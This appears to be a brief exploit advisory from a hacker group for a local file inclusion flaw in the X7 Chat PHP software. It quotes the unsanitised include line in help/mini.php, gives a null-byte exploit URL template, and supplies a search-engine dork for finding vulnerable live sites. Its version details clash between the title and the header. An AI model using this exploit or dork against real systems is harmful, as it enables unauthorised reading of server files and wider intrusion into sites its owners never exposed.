x7chat-lfi.txt

`====================================================================  
  
  
[o] X7 Chat <= 2.0.1A1 Local File Inclusion Vulnerability  
  
Software : X7 Chat version 2.0.5.1  
Vendor : http://x7chat.com/  
Author : NoGe  
Contact : noge[dot]code[at]gmail[dot]com  
  
  
====================================================================  
  
  
[o] Vulnerable file  
  
help/mini.php  
  
include("./help/{$_GET['help_file']}");  
  
  
  
[o] Exploit  
  
http://localhost/[path]/help/mini.php?help_file=[LFI]%00  
  
  
  
[o] Dork  
  
"powered by x7 chat"  
  
  
====================================================================  
  
  
[o] Greetz  
  
MainHack BrotherHood [ www.mainhack.com ]  
VOP Crew [ Vaksin13 OoN_BoY Paman ]  
H312Y yooogy mousekill }^-^{ k1tk4t  
skulmatic olibekas ulga Cungkee str0ke  
  
  
====================================================================  
  
`